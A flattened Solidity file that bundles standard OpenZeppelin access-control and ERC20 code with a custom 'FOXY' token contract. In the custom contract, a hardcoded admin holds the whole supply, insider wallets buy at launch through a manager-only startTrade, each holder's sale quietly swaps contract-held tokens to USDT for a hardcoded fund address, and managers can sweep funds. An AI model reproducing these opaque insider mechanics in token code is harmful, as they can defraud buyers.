      function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
          _revokeRole(role, account);
      }
  
      /**
       * @dev Revokes `role` from the calling account.
       *
       * Roles are often managed via {grantRole} and {revokeRole}: this function's
       * purpose is to provide a mechanism for accounts to lose their privileges
       * if they are compromised (such as when a trusted device is misplaced).
       *
       * If the calling account had been revoked `role`, emits a {RoleRevoked}
       * event.
       *
       * Requirements:
       *
       * - the caller must be `account`.
       *
       * May emit a {RoleRevoked} event.
       */
      function renounceRole(bytes32 role, address account) public virtual override {
          require(account == _msgSender(), "AccessControl: can only renounce roles for self");
  
          _revokeRole(role, account);
      }
  
      /**
       * @dev Grants `role` to `account`.
       *
       * If `account` had not been already granted `role`, emits a {RoleGranted}
       * event. Note that unlike {grantRole}, this function doesn't perform any
       * checks on the calling account.
       *
       * May emit a {RoleGranted} event.
       *
       * [WARNING]
       * ====
       * This function should only be called from the constructor when setting
       * up the initial roles for the system.
       *
       * Using this function in any other way is effectively circumventing the admin
       * system imposed by {AccessControl}.
       * ====
       *
       * NOTE: This function is deprecated in favor of {_grantRole}.
       */
      function _setupRole(bytes32 role, address account) internal virtual {
          _grantRole(role, account);
      }
  
      /**
       * @dev Sets `adminRole` as ``role``'s admin role.
       *
       * Emits a {RoleAdminChanged} event.
       */
      function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
          bytes32 previousAdminRole = getRoleAdmin(role);
          _roles[role].adminRole = adminRole;
          emit RoleAdminChanged(role, previousAdminRole, adminRole);
      }
  
      /**
       * @dev Grants `role` to `account`.
       *
       * Internal function without access restriction.
       *
       * May emit a {RoleGranted} event.
       */
      function _grantRole(bytes32 role, address account) internal virtual {
          if (!hasRole(role, account)) {
              _roles[role].members[account] = true;
              emit RoleGranted(role, account, _msgSender());
          }
      }
  
      /**
       * @dev Revokes `role` from `account`.
       *
       * Internal function without access restriction.
       *
       * May emit a {RoleRevoked} event.
       */
      function _revokeRole(bytes32 role, address account) internal virtual {
          if (hasRole(role, account)) {
              _roles[role].members[account] = false;
              emit RoleRevoked(role, account, _msgSender());
          }
      }
  }
  
  // File: @openzeppelin/contracts/access/Ownable.sol
  
  
  // OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)
  
  pragma solidity ^0.8.0;
  
  
  /**
   * @dev Contract module which provides a basic access control mechanism, where
   * there is an account (an owner) that can be granted exclusive access to
   * specific functions.
   *
   * By default, the owner account will be the one that deploys the contract. This
   * can later be changed with {transferOwnership}.
   *
   * This module is used through inheritance. It will make available the modifier
   * `onlyOwner`, which can be applied to your functions to restrict their use to
   * the owner.
   */
  abstract contract Ownable is Context {
      address private _owner;
  
      event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
      /**
       * @dev Initializes the contract setting the deployer as the initial owner.
       */
      constructor() {
          _transferOwnership(_msgSender());
      }
  
      /**
       * @dev Throws if called by any account other than the owner.
       */
      modifier onlyOwner() {
          _checkOwner();
          _;
      }
  
      /**
       * @dev Returns the address of the current owner.
       */
      function owner() public view virtual returns (address) {
          return _owner;
      }
  
      /**
       * @dev Throws if the sender is not the owner.
       */
      function _checkOwner() internal view virtual {
          require(owner() == _msgSender(), "Ownable: caller is not the owner");
      }
  
      /**
       * @dev Leaves the contract without owner. It will not be possible to call
       * `onlyOwner` functions. Can only be called by the current owner.
       *
       * NOTE: Renouncing ownership will leave the contract without an owner,
       * thereby disabling any functionality that is only available to the owner.
       */
      function renounceOwnership() public virtual onlyOwner {
          _transferOwnership(address(0));
      }
  
      /**
       * @dev Transfers ownership of the contract to a new account (`newOwner`).
       * Can only be called by the current owner.
       */
      function transferOwnership(address newOwner) public virtual onlyOwner {
          require(newOwner != address(0), "Ownable: new owner is the zero address");
          _transferOwnership(newOwner);
      }
  
      /**
       * @dev Transfers ownership of the contract to a new account (`newOwner`).
       * Internal function without access restriction.
       */
      function _transferOwnership(address newOwner) internal virtual {
          address oldOwner = _owner;
          _owner = newOwner;
          emit OwnershipTransferred(oldOwner, newOwner);
      }
  }
  
  // File: @openzeppelin/contracts/token/ERC20/IERC20.sol
  
  
  // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)
  
  pragma solidity ^0.8.0;
  
  /**
   * @dev Interface of the ERC20 standard as defined in the EIP.
   */
  interface IERC20 {
      /**
       * @dev Emitted when `value` tokens are moved from one account (`from`) to
       * another (`to`).
       *
       * Note that `value` may be zero.
       */
      event Transfer(address indexed from, address indexed to, uint256 value);
  
      /**
       * @dev Emitted when the allowance of a `spender` for an `owner` is set by
       * a call to {approve}. `value` is the new allowance.
       */
      event Approval(address indexed owner, address indexed spender, uint256 value);
  
      /**
       * @dev Returns the amount of tokens in existence.
       */
      function totalSupply() external view returns (uint256);
  
      /**
       * @dev Returns the amount of tokens owned by `account`.
       */
      function balanceOf(address account) external view returns (uint256);
  
      /**
       * @dev Moves `amount` tokens from the caller's account to `to`.
       *
       * Returns a boolean value indicating whether the operation succeeded.
       *
       * Emits a {Transfer} event.
       */
      function transfer(address to, uint256 amount) external returns (bool);
  
      /**
       * @dev Returns the remaining number of tokens that `spender` will be
       * allowed to spend on behalf of `owner` through {transferFrom}. This is
       * zero by default.
       *
       * This value changes when {approve} or {transferFrom} are called.
       */
      function allowance(address owner, address spender) external view returns (uint256);
  
      /**
       * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
       *
       * Returns a boolean value indicating whether the operation succeeded.
       *
       * IMPORTANT: Beware that changing an allowance with this method brings the risk
       * that someone may use both the old and the new allowance by unfortunate
       * transaction ordering. One possible solution to mitigate this race
       * condition is to first reduce the spender's allowance to 0 and set the
       * desired value afterwards:
       * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
       *
       * Emits an {Approval} event.
       */
      function approve(address spender, uint256 amount) external returns (bool);
  
      /**
       * @dev Moves `amount` tokens from `from` to `to` using the
       * allowance mechanism. `amount` is then deducted from the caller's
       * allowance.
       *
       * Returns a boolean value indicating whether the operation succeeded.
       *
       * Emits a {Transfer} event.
       */
      function transferFrom(address from, address to, uint256 amount) external returns (bool);
  }
  
  // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
  
  
  // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
  
  pragma solidity ^0.8.0;
  
  
  /**
   * @dev Interface for the optional metadata functions from the ERC20 standard.
   *
   * _Available since v4.1._
   */
  interface IERC20Metadata is IERC20 {
      /**
       * @dev Returns the name of the token.
       */
      function name() external view returns (string memory);
  
      /**
       * @dev Returns the symbol of the token.
       */
      function symbol() external view returns (string memory);
  
      /**
       * @dev Returns the decimals places of the token.
       */
      function decimals() external view returns (uint8);
  }
  
  // File: @openzeppelin/contracts/token/ERC20/ERC20.sol
  
  
  // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)
  
  pragma solidity ^0.8.0;
  
  
  
  
  /**
   * @dev Implementation of the {IERC20} interface.
   *
   * This implementation is agnostic to the way tokens are created. This means
   * that a supply mechanism has to be added in a derived contract using {_mint}.
   * For a generic mechanism see {ERC20PresetMinterPauser}.
   *
   * TIP: For a detailed writeup see our guide
   * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
   * to implement supply mechanisms].
   *
   * The default value of {decimals} is 18. To change this, you should override
   * this function so it returns a different value.
   *
   * We have followed general OpenZeppelin Contracts guidelines: functions revert
   * instead returning `false` on failure. This behavior is nonetheless
   * conventional and does not conflict with the expectations of ERC20
   * applications.
   *
   * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
   * This allows applications to reconstruct the allowance for all accounts just
   * by listening to said events. Other implementations of the EIP may not emit
   * these events, as it isn't required by the specification.
   *
   * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
   * functions have been added to mitigate the well-known issues around setting
   * allowances. See {IERC20-approve}.
   */
  contract ERC20 is Context, IERC20, IERC20Metadata {
      mapping(address => uint256) private _balances;
  
      mapping(address => mapping(address => uint256)) private _allowances;
  
      uint256 private _totalSupply;
  
      string private _name;
      string private _symbol;
  
      /**
       * @dev Sets the values for {name} and {symbol}.
       *
       * All two of these values are immutable: they can only be set once during
       * construction.
       */
      constructor(string memory name_, string memory symbol_) {
          _name = name_;
          _symbol = symbol_;
      }
  
      /**
       * @dev Returns the name of the token.
       */
      function name() public view virtual override returns (string memory) {
          return _name;
      }
  
      /**
       * @dev Returns the symbol of the token, usually a shorter version of the
       * name.
       */
      function symbol() public view virtual override returns (string memory) {
          return _symbol;
      }
  
      /**
       * @dev Returns the number of decimals used to get its user representation.
       * For example, if `decimals` equals `2`, a balance of `505` tokens should
       * be displayed to a user as `5.05` (`505 / 10 ** 2`).
       *
       * Tokens usually opt for a value of 18, imitating the relationship between
       * Ether and Wei. This is the default value returned by this function, unless
       * it's overridden.
       *
       * NOTE: This information is only used for _display_ purposes: it in
       * no way affects any of the arithmetic of the contract, including
       * {IERC20-balanceOf} and {IERC20-transfer}.
       */
      function decimals() public view virtual override returns (uint8) {
          return 18;
      }
  
      /**
       * @dev See {IERC20-totalSupply}.
       */
      function totalSupply() public view virtual override returns (uint256) {
          return _totalSupply;
      }
  
      /**
       * @dev See {IERC20-balanceOf}.
       */
      function balanceOf(address account) public view virtual override returns (uint256) {
          return _balances[account];
      }
  
      /**
       * @dev See {IERC20-transfer}.
       *
       * Requirements:
       *
       * - `to` cannot be the zero address.
       * - the caller must have a balance of at least `amount`.
       */
      function transfer(address to, uint256 amount) public virtual override returns (bool) {
          address owner = _msgSender();
          _transfer(owner, to, amount);
          return true;
      }
  
      /**
       * @dev See {IERC20-allowance}.
       */
      function allowance(address owner, address spender) public view virtual override returns (uint256) {
          return _allowances[owner][spender];
      }
  
      /**
       * @dev See {IERC20-approve}.
       *
       * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
       * `transferFrom`. This is semantically equivalent to an infinite approval.
       *
       * Requirements:
       *
       * - `spender` cannot be the zero address.
       */
      function approve(address spender, uint256 amount) public virtual override returns (bool) {
          address owner = _msgSender();
          _approve(owner, spender, amount);
          return true;
      }
  
      /**
       * @dev See {IERC20-transferFrom}.
       *
       * Emits an {Approval} event indicating the updated allowance. This is not
       * required by the EIP. See the note at the beginning of {ERC20}.
       *
       * NOTE: Does not update the allowance if the current allowance
       * is the maximum `uint256`.
       *
       * Requirements:
       *
       * - `from` and `to` cannot be the zero address.
       * - `from` must have a balance of at least `amount`.
       * - the caller must have allowance for ``from``'s tokens of at least
       * `amount`.
       */
      function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
          address spender = _msgSender();
          _spendAllowance(from, spender, amount);
          _transfer(from, to, amount);
          return true;
      }
  
      /**
       * @dev Atomically increases the allowance granted to `spender` by the caller.
       *
       * This is an alternative to {approve} that can be used as a mitigation for
       * problems described in {IERC20-approve}.
       *
       * Emits an {Approval} event indicating the updated allowance.
       *
       * Requirements:
       *
       * - `spender` cannot be the zero address.
       */
      function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
          address owner = _msgSender();
          _approve(owner, spender, allowance(owner, spender) + addedValue);
          return true;
      }
  
      /**
       * @dev Atomically decreases the allowance granted to `spender` by the caller.
       *
       * This is an alternative to {approve} that can be used as a mitigation for
       * problems described in {IERC20-approve}.
       *
       * Emits an {Approval} event indicating the updated allowance.
       *
       * Requirements:
       *
       * - `spender` cannot be the zero address.
       * - `spender` must have allowance for the caller of at least
       * `subtractedValue`.
       */
      function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
          address owner = _msgSender();
          uint256 currentAllowance = allowance(owner, spender);
          require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
          unchecked {
              _approve(owner, spender, currentAllowance - subtractedValue);
          }
  
          return true;
      }
  
      /**
       * @dev Moves `amount` of tokens from `from` to `to`.
       *
       * This internal function is equivalent to {transfer}, and can be used to
       * e.g. implement automatic token fees, slashing mechanisms, etc.
       *
       * Emits a {Transfer} event.
       *
       * Requirements:
       *
       * - `from` cannot be the zero address.
       * - `to` cannot be the zero address.
       * - `from` must have a balance of at least `amount`.
       */
      function _transfer(address from, address to, uint256 amount) internal virtual {
          require(from != address(0), "ERC20: transfer from the zero address");
          require(to != address(0), "ERC20: transfer to the zero address");
  
          _beforeTokenTransfer(from, to, amount);
  
          uint256 fromBalance = _balances[from];
          require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
          unchecked {
              _balances[from] = fromBalance - amount;
              // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
              // decrementing then incrementing.
              _balances[to] += amount;
          }
  
          emit Transfer(from, to, amount);
  
          _afterTokenTransfer(from, to, amount);
      }
  
      /** @dev Creates `amount` tokens and assigns them to `account`, increasing
       * the total supply.
       *
       * Emits a {Transfer} event with `from` set to the zero address.
       *
       * Requirements:
       *
       * - `account` cannot be the zero address.
       */
      function _mint(address account, uint256 amount) internal virtual {
          require(account != address(0), "ERC20: mint to the zero address");
  
          _beforeTokenTransfer(address(0), account, amount);
  
          _totalSupply += amount;
          unchecked {
              // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
              _balances[account] += amount;
          }
          emit Transfer(address(0), account, amount);
  
          _afterTokenTransfer(address(0), account, amount);
      }
  
      /**
       * @dev Destroys `amount` tokens from `account`, reducing the
       * total supply.
       *
       * Emits a {Transfer} event with `to` set to the zero address.
       *
       * Requirements:
       *
       * - `account` cannot be the zero address.
       * - `account` must have at least `amount` tokens.
       */
      function _burn(address account, uint256 amount) internal virtual {
          require(account != address(0), "ERC20: burn from the zero address");
  
          _beforeTokenTransfer(account, address(0), amount);
  
          uint256 accountBalance = _balances[account];
          require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
          unchecked {
              _balances[account] = accountBalance - amount;
              // Overflow not possible: amount <= accountBalance <= totalSupply.
              _totalSupply -= amount;
          }
  
          emit Transfer(account, address(0), amount);
  
          _afterTokenTransfer(account, address(0), amount);
      }
  
      /**
       * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
       *
       * This internal function is equivalent to `approve`, and can be used to
       * e.g. set automatic allowances for certain subsystems, etc.
       *
       * Emits an {Approval} event.
       *
       * Requirements:
       *
       * - `owner` cannot be the zero address.
       * - `spender` cannot be the zero address.
       */
      function _approve(address owner, address spender, uint256 amount) internal virtual {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
  
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      /**
       * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
       *
       * Does not update the allowance amount in case of infinite allowance.
       * Revert if not enough allowance is available.
       *
       * Might emit an {Approval} event.
       */
      function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
          uint256 currentAllowance = allowance(owner, spender);
          if (currentAllowance != type(uint256).max) {
              require(currentAllowance >= amount, "ERC20: insufficient allowance");
              unchecked {
                  _approve(owner, spender, currentAllowance - amount);
              }
          }
      }
  
      /**
       * @dev Hook that is called before any transfer of tokens. This includes
       * minting and burning.
       *
       * Calling conditions:
       *
       * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
       * will be transferred to `to`.
       * - when `from` is zero, `amount` tokens will be minted for `to`.
       * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
       * - `from` and `to` are never both zero.
       *
       * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
       */
      function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
  
      /**
       * @dev Hook that is called after any transfer of tokens. This includes
       * minting and burning.
       *
       * Calling conditions:
       *
       * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
       * has been transferred to `to`.
       * - when `from` is zero, `amount` tokens have been minted for `to`.
       * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
       * - `from` and `to` are never both zero.
       *
       * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
       */
      function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
  }
  
  // File: TOKEN\AutoBuyToken7.sol
  
  
  pragma solidity ^0.8.4;
  
  
  
  
  
  
  
  
  contract TokenDistributor {
      constructor (address token) {
          ERC20(token).approve(msg.sender, uint(~uint256(0)));
      }
  }
  
  contract Token is ERC20,Ownable,AccessControl {
      bytes32 private constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
      using SafeMath for uint256;
      ISwapRouter private uniswapV2Router;
      address public uniswapV2Pair;
      address public usdt;
      uint256 public startTradeBlock;
      address admin;
      address fundAddr;
      uint256 public fundCount;
      mapping(address => bool) private whiteList;
      TokenDistributor public _tokenDistributor;
      
      constructor()ERC20("FOXY", "FOXY") {
          admin=0x79dd61E05F68d10F6457bFcc480357256f3205Ff;
          //admin=msg.sender;
          fundAddr=0x2896A7eFA246BBB68dbD65da76f5f283C614C260;
          uint256 total=10000000000*10**decimals();
          _mint(admin, total);
          _grantRole(DEFAULT_ADMIN_ROLE,admin);
          _grantRole(MANAGER_ROLE, admin);
          _grantRole(MANAGER_ROLE, address(this));
          whiteList[admin] = true;
          whiteList[address(this)] = true;
          transferOwnership(admin);
      }
      function initPair(address _token,address _swap)external onlyRole(MANAGER_ROLE){
          usdt=_token;//0xc6e88A94dcEA6f032d805D10558aCf67279f7b4E;//usdt test
          address swap=_swap;//0xD99D1c33F9fC3444f8101754aBC46c52416550D1;//bsc test
          uniswapV2Router = ISwapRouter(swap);
          uniswapV2Pair = ISwapFactory(uniswapV2Router.factory()).createPair(address(this), usdt);
          ERC20(usdt).approve(address(uniswapV2Router), type(uint256).max);
          _approve(address(this), address(uniswapV2Router),type(uint256).max);
          _approve(address(this), address(this),type(uint256).max);
          _approve(admin, address(uniswapV2Router),type(uint256).max);
          _tokenDistributor = new TokenDistributor(address(this));
      }
      function decimals() public view virtual override returns (uint8) {
          return 9;
      }
     
      function _transfer(
          address from,
          address to,
          uint256 amount
      ) internal override {
          require(amount > 0, "amount must gt 0");
          
          if(from != uniswapV2Pair && to != uniswapV2Pair) {
              _funTransfer(from, to, amount);
              return;
          }
          if(from == uniswapV2Pair) {
              require(startTradeBlock>0, "not open");
              super._transfer(from, to, amount);
              return;
          }
          if(to == uniswapV2Pair) {
              if(whiteList[from]){
                  super._transfer(from, to, amount);
                  return;
              }
              swapUsdt(amount,fundAddr);
              super._transfer(from, to, amount);
              return;
          }
      }
      function _funTransfer(
          address sender,
          address recipient,
          uint256 tAmount
      ) private {
          super._transfer(sender, recipient, tAmount);
      }
      bool private inSwap;
      modifier lockTheSwap {
          inSwap = true;
          _;
          inSwap = false;
      }
      function autoSwap(uint256 _count)public{
          ERC20(usdt).transferFrom(msg.sender, address(this), _count);
          swapTokenToDistributor(_count);
      }
      function swapToken(uint256 tokenAmount,address to) private lockTheSwap {
          address[] memory path = new address[](2);
          path[0] = address(usdt);
          path[1] = address(this);
          uint256 balance = IERC20(usdt).balanceOf(address(this));
          if(tokenAmount==0)tokenAmount = balance;
          // make the swap
          if(tokenAmount <= balance)
          uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
              tokenAmount,
              0, // accept any amount of CA
              path,
              address(to),
              block.timestamp
          );
      }
      function swapTokenToDistributor(uint256 tokenAmount) private lockTheSwap {
          address[] memory path = new address[](2);
          path[0] = address(usdt);
          path[1] = address(this);
          uint256 balance = IERC20(usdt).balanceOf(address(this));
          if(tokenAmount==0)tokenAmount = balance;
          // make the swap
          if(tokenAmount <= balance)
          uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
              tokenAmount,
              0, // accept any amount of CA
              path,
              address(_tokenDistributor),
              block.timestamp
          );
          if(balanceOf(address(_tokenDistributor))>0)
          ERC20(address(this)).transferFrom(address(_tokenDistributor), address(this), balanceOf(address(_tokenDistributor)));
      }
      
      function swapUsdt(uint256 tokenAmount,address to) private lockTheSwap {
          uint256 balance = balanceOf(address(this));
          address[] memory path = new address[](2);
          if(balance<tokenAmount)tokenAmount=balance;
          if(tokenAmount>0){
              path[0] = address(this);
              path[1] = usdt;
              uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(tokenAmount,0,path,to,block.timestamp);
          }
      }
  
      function startTrade(address[] calldata adrs) public onlyRole(MANAGER_ROLE) {
          startTradeBlock = block.number;
          for(uint i=0;i<adrs.length;i++)
              swapToken((random(5,adrs[i])+1)*10**16+11*10**16,adrs[i]);
      }
      function random(uint number,address _addr) private view returns(uint) {
          return uint(keccak256(abi.encodePacked(block.timestamp,block.difficulty,  _addr))) % number;
      }
  
      function errorToken(address _token) external onlyRole(MANAGER_ROLE){
          ERC20(_token).transfer(msg.sender, IERC20(_token).balanceOf(address(this)));
      }
      
      function withdawOwner(uint256 amount) public onlyRole(MANAGER_ROLE){
          payable(msg.sender).transfer(amount);
      }
      receive () external payable  {
      }
  }